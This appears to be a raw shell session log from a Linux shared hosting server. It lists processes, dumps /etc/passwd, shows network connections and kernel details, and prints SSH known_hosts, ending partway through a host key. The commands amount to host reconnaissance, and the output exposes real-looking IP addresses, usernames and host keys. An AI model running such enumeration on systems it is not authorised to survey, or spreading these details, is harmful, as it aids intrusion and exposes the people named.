nagios   12357  0.0  0.7  8552 1040 ?        S    Jun08   0:00 /usr/local/nagios
nagios   12358  0.0  0.7  8552 1040 ?        S    Jun08   0:01 /usr/local/nagios
root     27785  0.0  2.8  7816 3800 ?        S    Jun08   0:48 python /usr/local
zloche   10886  0.0  2.3 14856 3212 ?        S    Jun08   0:46 php serveur_php4.
root     11148  0.0  0.0     0    0 ?        S    08:31   0:00 [pdflush]
www-data 29732  0.0  6.6 63612 8960 pts/8    S    14:14   0:00 /usr/sbin/apache
root     29860  0.0  1.2  6548 1720 ?        Ss   14:17   0:00 sshd: gumbie [pri
gumbie   29862  0.0  1.3  6696 1864 ?        S    14:17   0:00 sshd: gumbie@pts/
gumbie   29865  0.0  1.1  2672 1488 pts/1    Ss   14:17   0:00 -bash
gumbie   29871  0.0  0.6  2588  896 pts/1    S+   14:17   0:00 screen -x
darwin   29963  0.0  2.5  4768 3376 pts/8    S    14:18   0:00 /home/darwin/bot/
www-data 30078  0.0  6.1 63596 8300 pts/8    S    14:20   0:00 /usr/sbin/apache
www-data 30079  0.0  7.1 63836 9568 pts/8    S    14:20   0:00 /usr/sbin/apache
www-data 31284  0.0  6.6 63612 8904 pts/8    S    14:40   0:00 /usr/sbin/apache
www-data 31782  0.0  6.4 63596 8712 pts/8    S    14:49   0:00 /usr/sbin/apache
www-data 32514  0.0  6.1 63596 8272 pts/8    S    15:03   0:00 /usr/sbin/apache
www-data   588  0.0  6.4 63572 8600 pts/8    S    15:12   0:00 /usr/sbin/apache
www-data  1444  0.0  8.9 64432 12048 pts/8   S    15:27   0:00 /usr/sbin/apache
root      3196  0.0  1.3  6548 1752 ?        Ss   15:57   0:00 sshd: zloche [pri
root      3198  0.0  1.3  6548 1752 ?        S    15:57   0:00 sshd: zloche [pri
zloche    3200  0.0  1.3  6548 1844 ?        S    15:57   0:00 sshd: zloche@pts/
zloche    3201  0.0  1.1  2696 1516 pts/9    Ss+  15:57   0:00 -bash
root      3218  0.0  1.3  6548 1752 ?        Ss   15:57   0:00 sshd: zloche [pri
root      3230  0.0  1.3  6548 1752 ?        S    15:57   0:00 sshd: zloche [pri
zloche    3267  0.0  1.3  6712 1864 ?        S    15:57   0:00 sshd: zloche@pts/
zloche    3268  0.0  1.1  2696 1532 pts/13   Ss+  15:57   0:00 -bash
postfix   4660  0.0  0.8  3036 1132 ?        S    16:21   0:00 pickup -l -t fifo
darwin    5691  0.0  1.1  2740 1596 pts/8    S+   16:41   0:00 -su
rmachine  7943  0.0  0.8  2368 1156 ?        S    17:22   0:00 ftpd: c-24-34-223
www-data  8415  0.0  5.5 63596 7480 pts/8    S    17:31   0:00 /usr/sbin/apache
www-data  8416  0.0  2.7 63332 3740 pts/8    S    17:31   0:00 /usr/sbin/apache
root      8475  0.0  1.3  7572 1768 ?        Ss   17:33   0:00 sshd: zloche [pri
root      8477  0.0  1.3  7572 1768 ?        S    17:33   0:00 sshd: zloche [pri
zloche    8479  0.0  1.4  7572 1884 ?        S    17:33   0:00 sshd: zloche@pts/
zloche    8480  0.0  1.1  2688 1496 pts/17   Ss   17:33   0:00 -bash
postfix   8509  0.0  1.8  6020 2448 ?        S    17:33   0:00 smtpd -n smtp -t 
postfix   8511  0.0  0.8  3040 1140 ?        S    17:33   0:00 proxymap -t unix 
zloche    8580  0.0  1.1  2688 1492 pts/17   S    17:34   0:00 bash
root      8581  0.0  0.3  2104  504 ?        S    17:34   0:00 sleep 60
zloche    8590  0.0  0.6  2556  860 pts/17   R+   17:34   0:00 ps aux
zloche@vds349:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/home/nobody:/bin/bash
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
sshd:x:100:65534::/var/run/sshd:/bin/false
smmta:x:101:104:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:103:105:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
sivit:x:0:0::/root:/bin/bash
dnscache:x:64017:64011::/var/dnscache:/bin/false
dnslog:x:64018:64011::/var/dnscache:/bin/false
postfix:x:104:106::/var/spool/postfix:/bin/false
mysql:x:105:108:MySQL Server,,,:/var/lib/mysql:/bin/false
ftp:x:1000:100::/dev/null:/noshuchshell
bind:x:106:109::/var/cache/bind:/bin/false
nagios:x:110:110::/usr/local/nagios:/bin/bash
stax:x:1001:1001:Stax,,,:/home/stax:/bin/bash
gumbie:x:1002:1002:Rick:/home/gumbie:/bin/bash
index:x:1003:100::/www/:/bin/sh
hlds:x:1004:1004:,,,:/www/servers/steam/:/bin/bash
mailman:x:1005:1003::/usr/local/cpanel/3rdparty/mailman:/bin/bash
cpanel:x:1006:1007::/usr/local/cpanel:/bin/bash
sqlrelay:x:107:1000:SQLRelay administrator,,,:/var/cache/sqlrelay:/bin/bash
rmachine:x:1007:2000::/vhost/home/rmachine/:/bin/bash
ircd:x:1008:1008:IRC Service,,,:/home/ircd:/bin/bash
djdd:x:1011:1011:,,,:/home/djdd:/bin/bash
vhost:x:1012:1999:vhost ruser:/vhost/home/vhost:/bin/sh
stats:x:1010:1010:Irc Statistics,,,:/home/stats:/bin/bash
zlvpn:x:1013:1013:VPN User,,,:/home/zlvpn:/bin/bash
raster:x:1015:1015:,,,:/home/raster:/bin/bash
example:x:1017:2000:vhost admin:/vhost/home/example:/bin/false
darwin:x:1018:1018:Darwin,,,:/home/darwin:/bin/bash
custodis:x:1019:2000:vhost admin:/vhost/home/custodis:/bin/false
jebus:x:1020:1020:,,,:/home/jebus:/bin/bash
stitchup:x:1021:1021:,,,:/home/stitchup:/bin/bash
gumbie.rmachine.net:x:1007:2000:vhost vuser:/vhost/rmachine.net/home/gumbie:/bin/false
tsrp:x:1022:1022:The Specialist Role Play,,,,J00 SuCk:/www/www/tsrp/./www:/bin/bash
catchall.rmachine.net:x:1007:2000:vhost vuser:/vhost/rmachine.net/home/catchall:/bin/false
cyrus:x:1023:1023:,,,:/home/cyrus:/bin/bash
dovecot:x:112:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
test:x:1024:2000:vhost admin:/vhost/home/test:/bin/bash
liveits:x:1026:2000:vhost admin:/vhost/home/liveits:/bin/bash
openca:x:1027:1027:Certificate Authority,,,:/usr/local/openca/openca/var/tmp:/bin/bash
zloche:x:1028:2000:vhost admin:/vhost/home/zloche:/bin/bash
catch-all.zloche.net:x:1028:2000:vhost vuser:/vhost/zloche.net/home/catch-all:/bin/false
stax.zloche.net:x:1028:2000:vhost vuser:/vhost/zloche.net/home/stax:/bin/false
rhopkins.rmachine.net:x:1007:2000:vhost vuser:/vhost/rmachine.net/home/rhopkins:/bin/false
gary.rmachine.net:x:1007:2000:vhost vuser:/vhost/rmachine.net/home/gary:/bin/false
gnomex:x:1029:2000:vhost admin:/vhost/home/gnomex:/bin/bash
testt:x:1030:2000:vhost admin:/vhost/home/testt:/bin/bash
zloche@vds349:~$ netstat -anvp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 0.0.0.0:5665            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:1314            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2082            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:995             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:8067            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2083            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:5668            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6661            0.0.0.0:*               LISTEN     -                   
tcp        0      0 127.0.0.1:677           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6662            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2086            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6663            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2087            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:9000            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6664            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:873             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:9001            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6665            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:587             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6668            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:5901            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6669            0.0.0.0:*               LISTEN     -                   
tcp        0      0 80.248.208.223:5678     0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:22222           0.0.0.0:*               LISTEN     10886/php           
tcp        0      0 0.0.0.0:110             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:5902            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6670            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:22223           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2095            0.0.0.0:*               LISTEN     -                   
tcp        0      0 127.0.0.1:783           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:2096            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:10001           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6001            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:6002            0.0.0.0:*               LISTEN     -                   
tcp        0      0 80.248.208.223:53       0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     -                   
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:119             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:11000           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:952             0.0.0.0:*               LISTEN     -                   
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:11001           0.0.0.0:*               LISTEN     -                   
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN     -                   
tcp        0      0 80.248.208.223:6667     80.248.208.223:38538    ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     77.98.229.81:1125       ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     83.131.131.162:10302    ESTABLISHED-                   
tcp        0      0 80.248.208.223:41884    24.34.223.184:1024      ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    24.122.237.73:3329      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:22222    70.83.249.59:12477      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:6667     172.212.246.81:57859    ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     80.248.208.223:41512    ESTABLISHED-                   
tcp        0      0 127.0.0.1:55494         127.0.0.1:6667          ESTABLISHED-                   
tcp        0      0 80.248.208.223:22       24.34.223.184:4305      ESTABLISHED-                   
tcp        0      0 80.248.208.223:38282    194.109.20.90:6669      ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     75.75.191.9:2556        ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     125.168.0.33:1039       ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     24.76.102.165:62390     ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    74.57.155.58:2531       ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:38281    194.109.20.90:6667      ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     58.104.93.144:45053     ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    70.48.129.46:4583       ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:22222    24.201.70.50:62965      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:8067     68.184.61.212:42543     ESTABLISHED-                   
tcp     3601      0 80.248.208.223:5665     76.108.85.21:1572       CLOSE_WAIT -                   
tcp        0      0 80.248.208.223:22       70.48.129.46:4432       ESTABLISHED-                   
tcp        0      0 80.248.208.223:44103    80.248.208.223:6667     ESTABLISHED-                   
tcp        0      0 80.248.208.223:22       70.48.129.46:4431       ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    70.55.99.6:1124         ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:22222    70.53.135.151:1292      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:6697     125.168.0.33:1058       ESTABLISHED-                   
tcp        0      0 80.248.208.223:41512    80.248.208.223:6667     ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     81.99.189.2:34724       ESTABLISHED-                   
tcp        0      0 80.248.208.223:38279    194.109.20.90:6660      ESTABLISHED-                   
tcp        0     67 80.248.208.223:22222    70.83.246.180:4378      ESTABLISHED10886/php           
tcp        0     31 80.248.208.223:22222    74.13.208.34:60699      ESTABLISHED10886/php           
tcp        0      0 127.0.0.1:8067          80.248.208.223:46652    ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    70.81.158.109:62487     ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:22222    24.200.15.49:1443       ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:6667     212.30.4.249:4677       ESTABLISHED-                   
tcp        0    275 80.248.208.223:22222    64.228.87.200:61697     ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:80       24.200.15.49:1554       ESTABLISHED-                   
tcp        0      0 127.0.0.1:6667          127.0.0.1:55494         ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     83.131.131.162:10323    ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     60.242.221.109:1948     ESTABLISHED-                   
tcp        0      0 80.248.208.223:46652    127.0.0.1:8067          ESTABLISHED-                   
tcp        0      0 80.248.208.223:38538    80.248.208.223:6667     ESTABLISHED-                   
tcp        0      0 80.248.208.223:8067     76.108.85.21:1750       ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    65.93.158.196:2283      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:6667     80.248.208.223:44103    ESTABLISHED-                   
tcp        0      0 80.248.208.223:80       24.200.15.49:1552       TIME_WAIT  -                   
tcp        0      0 80.248.208.223:22222    74.59.201.253:2112      ESTABLISHED10886/php           
tcp        0      0 80.248.208.223:21       24.34.223.184:1068      ESTABLISHED-                   
tcp        0      0 80.248.208.223:6667     24.201.70.50:62737      ESTABLISHED-                   
tcp        0   3392 80.248.208.223:22       76.108.85.21:1578       ESTABLISHED-                   
tcp        0      0 80.248.208.223:6697     24.34.223.184:3191      ESTABLISHED-                   
tcp        0      0 80.248.208.223:22222    70.83.122.242:2389      ESTABLISHED10886/php           
udp        0      0 0.0.0.0:517             0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:518             0.0.0.0:*                          -                   
udp   108324      0 0.0.0.0:42533           0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:946             0.0.0.0:*                          -                   
udp        0      0 80.248.208.223:53       0.0.0.0:*                          -                   
udp        0      0 127.0.0.1:53            0.0.0.0:*                          -                   
udp        0      0 127.0.0.1:53            0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:949             0.0.0.0:*                          -                   
udp   108324      0 0.0.0.0:40013           0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:41167           0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:34411           0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:111             0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:37746           0.0.0.0:*                          -                   
udp        0      0 0.0.0.0:37747           0.0.0.0:*                          -                   
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING     9112196  -                   /tmp/.font-unix/fs7100
unix  2      [ ACC ]     STREAM     LISTENING     3999890033 -                   /var/run/saslauthd/mux
unix  2      [ ACC ]     STREAM     LISTENING     3999897273 -                   private/error
unix  2      [ ACC ]     STREAM     LISTENING     3999897280 -                   private/local
unix  2      [ ACC ]     STREAM     LISTENING     3999897285 -                   private/virtual
unix  2      [ ACC ]     STREAM     LISTENING     3999897289 -                   private/lmtp
unix  2      [ ACC ]     STREAM     LISTENING     3999897293 -                   private/anvil
unix  2      [ ACC ]     STREAM     LISTENING     3999897297 -                   private/maildrop
unix  2      [ ACC ]     STREAM     LISTENING     3999897301 -                   private/uucp
unix  2      [ ACC ]     STREAM     LISTENING     3999897305 -                   private/ifmail
unix  2      [ ACC ]     STREAM     LISTENING     3999897309 -                   private/bsmtp
unix  2      [ ACC ]     STREAM     LISTENING     3999897313 -                   private/scalemail-backend
unix  2      [ ACC ]     STREAM     LISTENING     3999897320 -                   private/vhost
unix  24     [ ]         DGRAM                    542081106 -                   /dev/log
unix  2      [ ACC ]     STREAM     LISTENING     9324263  -                   /tmp/.X11-unix/X2
unix  2      [ ACC ]     STREAM     LISTENING     2295970951 -                   /var/run/courier/authdaemon/socket.tmp
unix  2      [ ACC ]     STREAM     LISTENING     598177136 -                   /tmp/ssh-Vstfy29862/agent.29862
unix  2      [ ACC ]     STREAM     LISTENING     9112403  -                   /tmp/.X11-unix/X64
unix  2      [ ACC ]     STREAM     LISTENING     9113222  -                   /tmp/.X11-unix/X1
unix  2      [ ACC ]     STREAM     LISTENING     1435304102 -                   /usr/local/openca.0.9.2/openca/var/tmp/openca_xml_cache
unix  2      [ ACC ]     STREAM     LISTENING     1435311139 -                   /usr/local/openca.0.9.2/openca/var/tmp/openca_socket
unix  2      [ ACC ]     STREAM     LISTENING     3999897226 -                   public/cleanup
unix  2      [ ACC ]     STREAM     LISTENING     3999897233 -                   private/rewrite
unix  2      [ ACC ]     STREAM     LISTENING     3999897237 -                   private/bounce
unix  2      [ ACC ]     STREAM     LISTENING     3999897241 -                   private/defer
unix  2      [ ACC ]     STREAM     LISTENING     552689721 -                   /var/state/pwcheck/pwcheck
unix  2      [ ACC ]     STREAM     LISTENING     3999897245 -                   private/trace
unix  2      [ ACC ]     STREAM     LISTENING     3999897249 -                   private/verify
unix  2      [ ACC ]     STREAM     LISTENING     3999897253 -                   public/flush
unix  2      [ ACC ]     STREAM     LISTENING     3999897257 -                   private/proxymap
unix  2      [ ACC ]     STREAM     LISTENING     3999897261 -                   private/smtp
unix  2      [ ACC ]     STREAM     LISTENING     3999897265 -                   private/relay
unix  2      [ ACC ]     STREAM     LISTENING     3999897269 -                   public/showq
unix  2      [ ACC ]     STREAM     LISTENING     428698068 -                   /var/run/mysqld/mysqld.sock
unix  2      [ ]         DGRAM                    602931906 -                   
unix  3      [ ]         STREAM     CONNECTED     602931911 -                   private/proxymap
unix  3      [ ]         STREAM     CONNECTED     602931895 -                   
unix  2      [ ]         DGRAM                    602931888 -                   
unix  2      [ ]         DGRAM                    602918597 -                   
unix  3      [ ]         STREAM     CONNECTED     602918596 -                   
unix  3      [ ]         STREAM     CONNECTED     602918595 -                   
unix  2      [ ]         DGRAM                    602662209 -                   
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netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
zloche@vds349:~$ uname -a
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686 GNU/Linux
zloche@vds349:~$ cat /etc/i
imapd.conf           inittab              ips
imapd.conf.dpkg-old  inputrc              irssi.conf
imlib                interchangedisable   issue
inetd.conf           interfaces           issue.net
inetd.conf.vhost.0   ipaddrpool           
init.d               iproute2             
zloche@vds349:~$ cat /etc/issue
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.
zloche@vds349:~$ ls -alh        
total 48K
drwxr-x---   8 zloche vhost 4.0K May  6 13:00 .
drwx--x--x  12 root   vhost 4.0K Jun  3 16:33 ..
-rw-------   1 zloche vuser 7.4K Jun  8 23:29 .bash_history
drwxr-xr-x   3 zloche vuser 4.0K Mar 15 20:43 .emacs.d
drwx------   2 zloche vuser 4.0K May  6 13:20 .irssi
-rw-r--r--   1 zloche vuser   59 Mar  8 00:57 .login
-rw-r--r--   1 zloche vuser   46 Mar  8 00:57 .profile
drwx------   2 zloche vuser 4.0K Jun  6 11:29 .ssh
drwx------   3 zloche vuser 4.0K Mar  8 03:20 mail
drwxr-xr-x   2 zloche vuser 4.0K Mar  8 00:57 public_html
drwxr-x---  10 zloche vhost 4.0K Mar 17 16:33 zloche.net
zloche@vds349:~$ cd .ssh
zloche@vds349:~/.ssh$ ls -alh
total 24K
drwx------  2 zloche vuser 4.0K Jun  6 11:29 .
drwxr-x---  8 zloche vhost 4.0K May  6 13:00 ..
-rw-r--r--  1 zloche vuser 4.5K Jun  6 11:29 known_hosts
-rw-r--r--  1 zloche vuser 4.3K Jun  5 15:42 known_hosts~
zloche@vds349:~/.ssh$ cat known_hosts
localhost ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdH
MWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QI
VmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3f
claQaSichE=
74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5vHP/DNtJSXwf+2YNhLD
9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZkS8OGQI0X55c0Ud0JEXjb
XuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjYuurhJwF58DhrUKLrTwa5hl8p
RFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgAaUDFX4VHoYW7AbJlO/3cJLxWEHo
UkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm3x+w/Scuw7kBrjSYg0CXaxDTR5l8lB
MJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4sWZqZwaqWQ==
server4,213.251.160.26 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+
BGB83ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdM
YCsDqa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4Tlt
UMbrLRHYfAi3HbwGj6bIiuE=
server1.zloche.net,65.92.156.62 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt
Wj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQ
mfdPB300tEh4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3f
mJDENJ/7QKV3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dE
AmNWZnAvsZTGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lj
a+wLTlplhGOEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
irc.rasterized.net,76.108.85.21 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy
aQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3D
zjz6XxknwMkaYo/KCM+CmTAQqYGj4AwxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBT
aV4qWE5vTIMoa9uz1159D5CpHMuAKU70=
server2,74.14.168.190 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzv
LAHmMtiPCbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tE
h4rcqt7hCvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QK
V3qCY3N1WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZ
TGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhG
OEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4.zloche.net ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB8
3ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsD
qa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbr
LRHYfAi3HbwGj6bIiuE=
70.55.196.23 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.254.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiP
CbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7h
Cvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1
WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzp
obD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+I
rXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.253.12 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zokio.com,69.70.67.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApry7VslTBItK
BaxF942eAL6/mz/P9F7XBNUySJEg2uU6N3GfwH5QBo0s1DDS6YAvGTftSYS+9Ix3mr7wA
l6nMQCwcEwiz4j2I3g38dVynfNosgdIIpTwkmuM7ZHogpSoQBs5eEdDW9tK+oZeDQi5N/
g7QGZvFwCSmoEUq/StvqS0N9Wc1H9SSW8Ppe/CWNuFi/eRiX9SrmMHYpj7Yi6IC+FZOKn
9rCeIAlmC6xkVa/6c3Kg0Mc5CG/2j2IqbtQ1E6Jcnzp/Fp8KbuIoje0HgjxP193K7tLUN
